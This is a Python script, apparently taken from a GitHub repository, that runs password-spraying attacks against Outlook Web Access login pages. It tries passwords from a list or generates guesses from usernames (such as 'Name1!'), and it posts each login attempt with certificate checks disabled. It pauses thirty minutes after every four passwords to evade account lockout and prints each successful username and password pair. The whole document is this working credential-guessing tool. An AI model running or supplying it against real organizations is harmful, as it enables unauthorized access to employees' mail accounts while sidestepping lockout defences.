#!/usr/bin/python
'''
OWAtio – simple Python/Requests-based Owtlook Web Access password inspection tool.
Works in two ways:
1. Read input login/password data from file or command options.
2. Read login data from file or command option and create passwords as login permutations.
'''
import requests
from sys import exit
import re
from optparse import OptionParser
from time import sleep
def read_file(fname):
with open(fname) as f:
content = f.readlines()
return content
def check_credentials(baseurl, domain, usernames, passwords, proxies={}, verify=True):
authurl = baseurl + 'auth.owa'
i = 0
j = 0
for password in passwords:
s = requests.Session()
s.get(baseurl, proxies=proxies, verify=verify)
print 'Iteration ' + str(i)
if (i < 4):
for username in usernames:
login = domain + '\\' + username.rstrip()
passwd = password.rstrip()
data = {
'destination': baseurl,
'flags': 0,
'forcedownlevel': 0,
'trusted': 0,
'username': login,
'password': passwd,
'isUtf8': 1
}
s.cookies.set('PBack','0')
r = s.post(authurl, data=data, proxies=proxies, verify=False)
p = re.search('The user name or password you entered isn\'t correct. Try entering it again.', r.text)
if (p):
print str(j) + ': Checking ' + login + ':' + passwd + ' ... failed.'
else:
print str(j) + ': Checking ' + login + ':' + passwd + ' ... SUCCESS!!!'
i += 1
j += 1
else:
s.close()
i = 0
print 'Sleeping for 30 min.'
sleep(1800)
def create_permutations(username):
'''
You have to choose permutations you expect by uncommenting up to four of the following lines
'''
result = []
username = username.rstrip()
#result.append(username + '1')
result.append(username.title() + '1')
#result.append(username.title() + '!')
result.append(username.title() + '1!')
result.append(username.title() + '#1')
result.append(username.title() + '*1')
#result.append(username.title() + '@2')
#result.append(username.title() + '@1')
return result
def check_permutations(baseurl, domain, usernames, proxies={}, verify=True):
authurl = baseurl + 'auth.owa'
s = requests.Session()
s.get(baseurl, proxies=proxies, verify=verify)
for username in usernames:
login = domain + '\\' + username.rstrip()
passwords = create_permutations(username)
for passwd in passwords:
data = {
'destination': baseurl,
'flags': 0,
'forcedownlevel': 0,
'trusted': 0,
'username': login,
'password': passwd,
'isUtf8': 1
}
s.cookies.set('PBack','0')
r = s.post(authurl, data=data, proxies=proxies, verify=False)
p = re.search('The user name or password you entered isn\'t correct. Try entering it again.', r.text)
if (p):
print 'Checking ' + login + ':' + passwd + ' ... failed.'
else:
print 'Checking ' + login + ':' + passwd + ' ... SUCCESS!!!'
usage = "Usage: %prog -l baseurl -d domain -u usernames.txt -p passwords.txt -x proxy"
parser = OptionParser(usage=usage)
parser.add_option('-l', '--url', dest='baseurl', help='OWA base URL (e.g. https://mail.example.com/owa/).')
parser.add_option('-d', '--domain', dest='domain', help='Organization DNS domain name.')
parser.add_option('-u', '--usernames', dest='ufile', help='Usernames file name.')
parser.add_option('-p', '--passwords', dest='pfile', help='Passwords file name.')
parser.add_option('-x', '--proxy', dest='proxy', help='HTTP(S) proxy server to use (e.g. http://proxy.example.com:8080).')
(options, args) = parser.parse_args()
if not (options.baseurl and options.domain and options.ufile):
parser.error('Not enough options.')
exit (1)
usernames = read_file(options.ufile)
if (options.proxy):
proxies = { "http": options.proxy }
else:
proxies = {}
if (options.pfile):
passwords = read_file(options.pfile)
check_credentials(options.baseurl, options.domain, usernames, passwords, proxies)
else:
check_permutations(options.baseurl, options.domain, usernames, proxies)
exit(0)
https://github.com/sapran/owatio/blob/master/owatio.py